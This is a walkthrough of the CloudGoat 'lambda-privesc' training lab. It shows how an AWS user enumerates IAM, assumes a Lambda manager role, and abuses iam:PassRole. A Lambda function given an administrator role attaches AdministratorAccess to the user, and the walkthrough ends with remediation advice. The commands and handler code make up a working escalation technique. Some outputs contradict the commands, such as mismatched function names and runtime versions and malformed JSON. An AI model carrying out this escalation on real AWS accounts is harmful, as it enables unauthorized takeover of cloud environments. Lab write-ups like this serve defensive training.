Lambda PrivEsc Walkthrough
What is AWS Lambda?
Section titled “What is AWS Lambda?”AWS Lambda is a cloud service that allows you to run code without managing servers. You upload your function, and AWS runs it automatically when triggered, such as by an API request or an event. Lambda can be assigned IAM roles to access other AWS services like S3, DynamoDB, and SSM.
What happens if Lambda is misconfigured?
Section titled “What happens if Lambda is misconfigured?”If Lambda is given more permissions than required, or if anyone can modify the function or the role it uses, it becomes a security risk. Even a small misconfiguration can lead to full compromise of an AWS account.
Attack Path
Section titled “Attack Path”The attack path begins with the IAM user Chris, who discovers they are able to assume a role with full Lambda permissions and iam:PassRole rights. By abusing these capabilities, the attacker deploys and configures Lambda to execute with a high-privilege role, leading to privilege escalation and full administrative control of the AWS environment.
Exploitation Route
Section titled “Exploitation Route”1. Initial Access & Enumeration
Section titled “1. Initial Access & Enumeration”1.1 Initial Credentials
Section titled “1.1 Initial Credentials”cloudgoat_output_chris_access_key_id = [REDACTED_ACCESS_KEY]cloudgoat_output_chris_secret_key = [REDACTED_SECRET_KEY]1.2 Configure AWS Credentials
Section titled “1.2 Configure AWS Credentials”> $ aws configure --profile chrisAWS Access Key ID [None]: [REDACTED_ACCESS_KEY]AWS Secret Access Key [None]: [REDACTED_SECRET_KEY]Default region name [None]: us-east-1Default output format [None]: jsonOutput
> $ aws sts get-caller-identity --profile chris{ "UserId": "[REDACTED_ACCESS_KEY]", "Account": "710506681373", "Arn": "arn:aws:iam::710506681373:user/chris-[REDACTED_ID]"}1.3 IAM Enumeration
Section titled “1.3 IAM Enumeration”List the users in the AWS account.
> $ aws iam list-users --profile chris{ "Users": [ { "Path": "/", "UserName": "chris-[REDACTED_ID]", "UserId": "[REDACTED_ACCESS_KEY]", "Arn": "arn:aws:iam::710506681373:user/chris-[REDACTED_ID]", "CreateDate": "2025-12-08T10:27:40+00:00" } ]}- No other users found the account
List Attached User Policies for chris user account.
> $ aws iam list-attached-user-policies --user-name chris-[REDACTED_ID] --profile chris{ "AttachedPolicies": [ { "PolicyName": "cg-chris-policy-[REDACTED_ID]", "PolicyArn": "arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID]" } ]{ "Policy": { "PolicyName": "cg-chris-policy-[REDACTED_ID]", "PolicyId": "ANPA2K3L7SQO6UZUBIEMM", "Arn": "arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID]", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "cg-chris-policy-[REDACTED_ID]", "CreateDate": "2025-12-08T10:27:40+00:00", "UpdateDate": "2025-12-08T10:27:40+00:00", "Tags": [ { "Key": "Name", "Value": "cg-chris-policy-[REDACTED_ID]" }, { "Key": "Scenario", "Value": "lambda-privesc" } ] }}- Found policy named
cg-chris-policy-[REDACTED_ID]
Fetching the attached policy cg-chris-policy-[REDACTED_ID]
> $ aws iam get-policy --policy-arn arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID] --output json --profile chris{ "Policy": { "PolicyName": "cg-chris-policy-[REDACTED_ID]", "PolicyId": "ANPA2K3L7SQOTDIIQM5BX", "Arn": "arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID]", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "cg-chris-policy-[REDACTED_ID]", "CreateDate": "2025-06-19T06:54:40+00:00", "UpdateDate": "2025-06-19T06:54:40+00:00", "Tags": [ { "Key": "Name", "Value": "cg-chris-policy-[REDACTED_ID]" }, { "Key": "Scenario", "Value": "lambda-privesc" } ] }}- Found the policy version ID: v1. Use this to retrieve the policy permissions attached to it.
Retrieving the policy permissions of cg-chris-policy-[REDACTED_ID].
> $ aws iam get-policy-version --policy-arn arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID] --version-id v1 --profile chris{ "PolicyVersion": { "Document": { "Statement": [ { "Action": [ "sts:AssumeRole", "iam:List*", "iam:Get*" ], "Effect": "Allow" "Resource": "*", "Sid": "chris" } ], "Version": "2012-10-17" }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2025-12-08T10:27:40+00:00" }}List inline policies attached to the user chris
> $ aws iam list-roles --profile chris{ "Roles": [ { "Path": "/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/", "RoleName": "AWSServiceRoleForCostOptimizationHub", "RoleId": "AROA2K3L7SQOWF27RGGR4", "Arn": "arn:aws:iam::710506681373:role/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/AWSServiceRoleForCostOptimizationHub", "CreateDate": "2025-06-17T21:20:49+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "cost-optimization-hub.bcm.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "Description": "Allows Cost Optimization Hub to retrieve organization information and collect optimization-related data and metadata.", "MaxSessionDuration": 3600 }, { "Path": "/aws-service-role/support.amazonaws.com/", "RoleName": "AWSServiceRoleForSupport", "RoleId": "AROA2K3L7SQORR6IDBZRN", "Arn": "arn:aws:iam::710506681373:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport", "CreateDate": "2025-06-08T07:31:23+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "support.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "Description": "Enables resource access for AWS to provide billing, administrative and support services", "MaxSessionDuration": 3600 }, { "Path": "/aws-service-role/trustedadvisor.amazonaws.com/", "RoleName": "AWSServiceRoleForTrustedAdvisor", "RoleId": "AROA2K3L7SQOZQXNQZWWL", "Arn": "arn:aws:iam::710506681373:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor", "CreateDate": "2025-06-08T07:31:23+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "trustedadvisor.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.", "MaxSessionDuration": 3600 }, { "Path": "/", "RoleName": "cg-debug-role-[REDACTED_ID]", "RoleId": "AROA2K3L7SQOR6OW4Y2A6", "Arn": "arn:aws:iam::710506681373:role/cg-debug-role-[REDACTED_ID]", "CreateDate": "2025-06-19T06:54:40+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "Description": "CloudGoat debug role", "MaxSessionDuration": 3600 }, { "Path": "/", "RoleName": "cg-lambdaManager-role-[REDACTED_ID]", "RoleId": "AROA2K3L7SQOVLWJI5OSF", "Arn": "arn:aws:iam::710506681373:role/cg-lambdaManager-role-[REDACTED_ID]", "CreateDate": "2025-06-19T06:54:50+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::710506681373:user/chris-[REDACTED_ID]" }, "Action": "sts:AssumeRole" } ] }, "Description": "CloudGoat Lambda manager role", "MaxSessionDuration": 3600 } ]}- Found two interesting custom roles:
cg-lambdaManager-role-[REDACTED_ID]andcg-debug-role-[REDACTED_ID], which can be assumed by the user Chris. - Chris can assume any role if the trust policy allows it. Even without explicit AssumeRole permission, since the account is within the same AWS account.
Retrieving the permissions assigned to cg-lambdaManager-role-[REDACTED_ID]
> $ aws iam get-policy-version --policy-arn arn:aws:iam::710506681373:policy/cg-lambdaManager-policy-[REDACTED_ID] --version-id v1 --profile chris{ "PolicyVersion": { "Document": "Statement": [ { "Action": [ "lambda:*", "iam:PassRole" ], "Effect": "Allow", "Resource": "*", "Sid": "lambdaManager" } ], "Version": "2012-10-17" }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2025-06-19T06:54:40+00:00" }}- The user Chris can pass roles to all Lambda functions.
iam:PassRoleallows attaching a role to a service. This can be abused to attach an admin role to Chris and escalate permissions.
List the attached role policies
> $ aws iam list-attached-role-policies --role-name cg-debug-role-[REDACTED_ID] --profile chris{ "AttachedPolicies": [ { "PolicyName": "AdministratorAccess", "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess" } ]}- We found that the cg-debug role can be assumed by any Lambda function.
- We also have the Lambda Manager role attached to Chris, which can be used to pass a role to a Lambda function and escalate privileges. Let’s try it.
2. Pivoting
Section titled “2. Pivoting”As we have the permissions to assume the role of cg-lambdaManager-role-[REDACTED_ID], lets abuse and escalate the privileges.
> $ aws sts assume-role --role-arn arn:aws:iam::710506681373:role/cg-lambdaManager-role-[REDACTED_ID] --role-session-name lambda_manager --profile chris{ "Credentials": { "AccessKeyId": "[REDACTED_ACCESS_KEY]", "SecretAccessKey": "[REDACTED_SECRET_KEY]", "SessionToken": "[REDACTED_SESSION_TOKEN]", "Expiration": "2025-06-19T08:43:17+00:00" }, "AssumedRoleUser": { "AssumedRoleId": "AROA2K3L7SQOVLWJI5OSF:lambda_manager", "Arn": "arn:aws:sts::710506681373:assumed-role/cg-lambdaManager-role-[REDACTED_ID]/lambda_manager" }}2.1 AWS Configure Credentials
Section titled “2.1 AWS Configure Credentials”> $ aws configure --profile lambda_managerAWS Access Key ID [None]: [REDACTED_ACCESS_KEY]AWS Secret Access Key [None]: [REDACTED_SECRET_KEY]AWS Session Token [None]: [REDACTED_SESSION_TOKEN]Default region name [None]: us-east-1Default output format [None]: json- Now that we’ve assumed the lambda_manager role, let’s use it to escalate privileges.
3. Privilege Escalation
Section titled “3. Privilege Escalation”Let’s use the PassRole permission of the Lambda Manager to create a function and attach the admin role to it.
First, write a script that will attach the administrator policy to the IAM user Chris.
Create the Lambda function and zip it. The following will be your Lambda function:
import boto3
def lambda_handler(event, context): iam = boto3.client('iam') iam.attach_user_policy( UserName='chris-[REDACTED_ID]', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return "Policy attached!"- Name the file
lambda_managerand zip it.

3.1 Attach Admin role to Chris
Section titled “3.1 Attach Admin role to Chris”aws lambda create-function \ --function-name admin_function \ --runtime python3.13 \ --role arn:aws:iam::710506681373:role/cg-debug-role-[REDACTED_ID] \ --handler lambda_function.lambda_handler \ --zip-file fileb://function.zip \ --profile lambda_manager \ --region us-east-1{ "FunctionName": "admin", "FunctionArn": "arn:aws:lambda:us-east-1:710506681373:function:admin", "Runtime": "python3.12", "Role": "arn:aws:iam::710506681373:role/cg-debug-role-[REDACTED_ID]", "Handler": "lambda_function.lambda_handler", "CodeSize": 361, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2025-12-08T12:01:34.361+0000", "CodeSha256": "BxpTlOXP1n5qOChTmKLR+VcCOuCMWHT+MVkpQ284wgg=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "613fb09b-44cb-4d2e-a678-1d60b0adb21e", "State": "Pending", "StateReason": "The function is being created.", "StateReasonCode": "Creating", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 }, "SnapStart": { "ApplyOn": "None", "OptimizationStatus": "Off" }, "RuntimeVersionConfig": { "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:42569371fb03ced3fe5b4d63763662bf9b13a5d4299cb453cc55a71374cbf30c" }, "LoggingConfig": { "LogFormat": "Text", "LogGroup": "/aws/lambda/admin" }}3.2 Invoke the lambda function
Section titled “3.2 Invoke the lambda function”> $ aws --profile lambda_manager lambda invoke --function-name backdoor out.txt{ "StatusCode": 200, "ExecutedVersion": "$LATEST"}Output
> $ cat out.txtnull3.3 Confirming Privilege Escalation
Section titled “3.3 Confirming Privilege Escalation”> $ aws iam list-attached-user-policies --user-name chris-[REDACTED_ID] --profile chris{ "AttachedPolicies": { "PolicyName": "AdministratorAccess", "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess" } { "PolicyName": "cg-chris-policy-[REDACTED_ID]", "PolicyArn": "arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID]" } ]}- Successfully escalated permissions and assumed admin privileges!
4. Remediation
Section titled “4. Remediation”- Restrict iam:PassRole : Don’t use Resource: * - allow only specific roles and add conditions for least privilege.
- Harden role assumptions: Lock down trust policies so only approved Lambda functions/principals can assume sensitive roles (e.g., cg-debug-role).
- Least privilege for Lambda management: Remove full lambda:*; grant only required actions.
- Require MFA for privileged AssumeRole: Add aws:MultiFactorAuthPresent to roles with elevated permissions.
- Monitor & alert: Set CloudTrail + EventBridge alerts for iam:PassRole, sts:AssumeRole, and sensitive Lambda updates.